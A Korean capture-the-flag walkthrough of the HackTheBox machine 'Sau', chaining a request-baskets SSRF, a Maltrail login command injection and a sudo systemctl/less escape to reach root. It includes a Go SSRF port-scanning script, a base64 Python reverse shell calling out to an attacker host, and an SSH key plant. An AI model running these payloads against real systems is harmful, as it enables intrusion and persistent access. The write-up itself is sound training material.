HTB Sau
HTB 오픈 베타 시즌2의 4번째 머신인 Sau를 해결하는 과정을 기록한다.
1. PortScan
55555/tcp
, 22/tcp
가 오픈되어있는 것을 확인할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-10 10:12 KST
Nmap scan report for 10.129.119.137
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
55555/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.93%I=7%D=7/10%Time=64AB5B09%P=arm-apple-darwin21.6.0%
SF:r(GetRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/htm
SF:l;\x20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Mon,\x2010\x20Jul\
SF:x202023\x2001:12:41\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\
SF:"/web\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x2
SF:0Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection
SF::\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x
SF:20200\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Mon,\x2010\x20Jul\
SF:x202023\x2001:12:42\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequ
SF:est,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pla
SF:in;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reque
SF:st")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r
SF:\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x204
SF:00\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r
SF:\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,6
SF:7,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x
SF:20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%
SF:r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20Bad\x20Request\
SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Opti
SF:ons:\x20nosniff\r\nDate:\x20Mon,\x2010\x20Jul\x202023\x2001:13:12\x20GM
SF:T\r\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20name;\x20the\x20
SF:name\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-_\\\.\]{1,250}
SF:\$\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\
SF:x20Bad\x20Request")%r(LDAPSearchReq,67,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20
SF:close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1.1. Service Check (55555/tcp)
브라우저를 통해 55555포트에 접근하니 아래와 같이 request-baskets v1.2.1로 만들어진 웹 서비스를 확인할 수 있다.
request-baskets은 REST API 등의 테스트를 목적으로 사용되는것 같으며, /api/baskets/[BASKET_NAME]으로 POST요청 시 Authorization 헤더에 사용되는 token을 받아 볼 수 있다.
2. SSRF
여기서 basket을 만들고 하는것이 중요한게 아니다. 서비스중인 request-baskets의 버전은 1.2.1이며 해당 버전에는 SSRF(CVE-2023-27163) 취약점이 존재하는것을 확인할 수 있다.
PoC를 확인하고 위에서 basket을 생성하는 API에 POST 데이터로 아래와 같은 Json을 전달한다.
1
2
3
4
5
6
7
{
"forward_url": "http://IP:PORT/cve-2023-27163",
"proxy_response": true,
"insecure_tls": false,
"expand_path": true,
"capacity": 250
}
이후 생성된 basket에 GET 요청을 보내면 서버측에서forward_url
에 작성된 URL에 요청을 보내는 SSRF가 진행되며 공격자 서버로 GET 요청을 받는 것을 확인할 수 있다.
SSRF를 통해 로컬 파일을 확인하기 위해 file://
scheme을 사용하는 payload를 forward_url에 입력하고 새로운 basket을 생성하고 basket에 접근했으나 file scheme은 지원하지 않는다.
💡 request-baskets은 go로 제작되었으며, forward_url을 처리할때 net/http 모듈을 사용하여 HTTP Request를 전달하고 Reponse를 전달하는 형태로 개발되어있는 것을 확인했다. net/http는 따로 설정하지 않으면 http, https scheme만 지원하기에, 위 처럼 file scheme은 사용할 수 없다.
그렇다면 http/https scheme로 할 수 있는 가장 기본적인 로컬 서비스 포트를 확인하기 위해 아래와 같은 코드를 제작하였다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package main
import (
"bytes"
"crypto/tls"
"encoding/json"
"fmt"
"io/ioutil"
"net/http"
"strconv"
"github.com/projectdiscovery/gologger"
)
const (
CREATE_BASKETS_URL string = "http://sau.htb:55555/api/baskets/"
OPEN_BASKETS_URL string = "http://sau.htb:55555/"
)
type ReqCreateBasketsBody struct {
ForwardURL string `json:"forward_url"`
ProxyResponse bool `json:"proxy_response"`
InsecureTLS bool `json:"insecure_tls"`
ExpandPath bool `json:"expand_path"`
Capacity int `json:"capacity"`
}
func sendCreateBaskets(client *http.Client, basketName string, forwardUrl string) (*http.Response, error) {
reqCreateBasketsBody := ReqCreateBasketsBody{
ForwardURL: forwardUrl,
ProxyResponse: true,
InsecureTLS: false,
Capacity: 250,
}
reqCreateBasketsBodyData, _ := json.Marshal(reqCreateBasketsBody)
req, _ := http.NewRequest("POST", CREATE_BASKETS_URL+basketName, bytes.NewBufferString(string(reqCreateBasketsBodyData)))
res, err := client.Do(req)
if err != nil {
return nil, err
}
return res, nil
}
func sendOpenBaskets(client *http.Client, basketName string) (*http.Response, error) {
req, _ := http.NewRequest("GET", OPEN_BASKETS_URL+basketName, nil)
res, err := client.Do(req)
if err != nil {
return nil, err
}
return res, nil
}
func main() {
var client *http.Client = &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
prefix := "tetetetetetet"
for i := 0; i <= 65535; i++ {
port := strconv.Itoa(i)
fmt.Printf("scan %s port...", port)
res, err := sendCreateBaskets(client, prefix+port, "http://127.0.0.1:"+port)
if err != nil {
gologger.Error().Msgf("%v\n", err)
}
if res.StatusCode == 201 {
res, err := sendOpenBaskets(client, prefix+port)
if err != nil {
gologger.Error().Msgf("%v\n", err)
}
resBody, _ := ioutil.ReadAll(res.Body)
fmt.Println(string(resBody))
}
}
}
2.1. SSRF to RCE
위 코드를 통해 포트 스캔을 진행한 결과, 80/tcp
가 내부에 오픈되어있는것을 알 수 있었으며, 확인해보니 maltrail v0.53으로 제작된 웹 서비스인것을 Response를 통해 확인할 수 있었다.
maltrail에 대한 취약점을 찾아보니 0.54 버전 밑으로 RCE 취약점이 존재한다.
결과적으로 /login 경로로 username
파라미터에 OS Command Injection이 가능하며 아래와 같은 테스트를 진행하여 공격자 서버로 curl명령을 전달하여 공격자 서버에 GET 요청이 오는지 확인하니 정상적으로 curl명령이 전달되어 공격자 서버로 요청을 받아 볼 수 있다.
3. Shell Access (puma)
이제 Reverse Shell을 획득하기 위해 아래와 같은 basket을 생성하는 요청을 전달한다.
1
echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjkiLDkwMDIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJiYXNoIikn | base64 -d | bash
생성된 basket으로 GET요청을 보내면 SSRF+RCE가 정상적으로 동작하여 puma
계정의 쉘을 획득할 수 있다.
1
2
3
4
% nc -l 9002 -vn
puma@sau:/opt/maltrail$ id
id
uid=1001(puma) gid=1001(puma) groups=1001(puma)
3.1. SSH 접근
리버스 쉘은 불편하다. puma 계정의 홈디렉터리에서 .ssh/authorized_keys
에 공격자가 생성한 공개키를 등록한다.
1
2
3
puma@sau:~$ mkdir .ssh
puma@sau:~$ cd .ssh
puma@sau:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJoSk04Ani+5MaX1mthz6ww/+sZBfeKQ2hexeVfrlkdzMHt8V24QZ+ej4yQHcqfH+7Q/URckVyxEnv1liJuGIerl2mlOMXR3MJH1qymFUPpBzBZERvRRnKUFVJgGpbnkOJvmVIEhtSHzR33hxIkBdp2Y8CpK8q8062FFE4BwJtRLwXVRkMsAzRB0d+c+jlIh8N+rYT8vSKqOeOhez2ELCjzJ7gtUc5lo4Y1qB5nPQKreya00dZR/kMKxVL1z9TYQVjLxF8J5qQksAJdBP7LswrKpoMvGgwb+5Aop5XBBOOqjXJ31XHwJPBlWUAWAi6Hh2i0jmB7VymZ0ytDM4ZY6dDkvokW24McAhgF4sqPSys3KkUoitDdOYcPu6xL5AxYVqYUtSKEOqGuJ5bKzGVgJ3aQwBHBdszj2z//qAmPGUrMHpC/mDzN+hDYeB8JKU0N+st3VDMbmdLA+/ubLWNB12sjISNK0wxgSyYHYNPdT7Lz8MAzS4hoqBvWnIqM9lcgMs=........" > authorized_keys && chmod 644
공격자가 생성한 개인키를 통해 깔끔한 SSH 쉘에 접근할 수 있다!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
% ssh -i juicemon puma@sau.htb
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-153-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Jul 10 07:59:05 UTC 2023
System load: 0.0
Usage of /: 45.2% of 4.78GB
Memory usage: 5%
Swap usage: 0%
Processes: 221
Users logged in: 0
IPv4 address for eth0: 10.129.46.31
IPv6 address for eth0: dead:beef::250:56ff:feb9:f760
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Last login: Tue Jul 4 13:35:50 2023 from 10.10.14.23
puma@sau:~$ id
uid=1001(puma) gid=1001(puma) groups=1001(puma)
Shell Access (root)
puma 계정에서 sudo 권한을 확인하면 아래와 같이 systemctl status로 특정 서비스의 상태를 확인할 수 있는 권한이 존재한다.
1
2
3
4
5
6
puma@sau:~$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
관련된 권한상승 트릭이나 CVE를 구글링하다가 CVE-2023–26604를 확인할 수 있었다.
systemd 247 미만 버전에서 가능한 권한상승 취약점으로 systemctl status
의 출력값의 길이가 길경우 출력되는 결과를 less
통해 뿌려주는데 이때 less LPE 트릭으로 권한 상승이 가능하다는 취약점이다.
바로 sudo 권한으로 systemctl status 명령을 실행하니 기존에 SSRF+RCE를 시도할 때 사용됐던 maltrail에 전달한 페이로드가 길어 less로 systemctl status 결과를 확인할 수 있었다.
여기서 !sh
을 입력하면 root 계정의 쉘을 획득할 수 있다 : )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
puma@sau:~$ sudo /usr/bin/systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset: enabled)
Active: active (running) since Mon 2023-07-10 07:10:57 UTC; 55min ago
Docs: https://github.com/stamparm/maltrail#readme
https://github.com/stamparm/maltrail/wiki
Main PID: 860 (python3)
Tasks: 7 (limit: 4662)
Memory: 27.0M
CGroup: /system.slice/trail.service
├─ 860 /usr/bin/python3 server.py
├─1030 /bin/sh -c logger -p auth.info -t "maltrail[860]" "Failed password for ;`echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2Nr>
├─1031 /bin/sh -c logger -p auth.info -t "maltrail[860]" "Failed password for ;`echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2Nr>
├─1034 bash
├─1035 python3 -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.9",9002));os.dup2(s.fileno(),0); os.dup2(s.file>
└─1036 bash
Jul 10 07:10:57 sau systemd[1]: Started Maltrail. Server of malicious traffic detection system.
Jul 10 07:48:30 sau maltrail[1027]: Failed password for ;<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 404</p>
<p>Message: File not found.</p>
<p>Error code explanation: 404 - Nothing matches the given URI.</p>
</body>
</html> from 127.0.0.1 port 43526
!sh
# id
uid=0(root) gid=0(root) groups=0(root)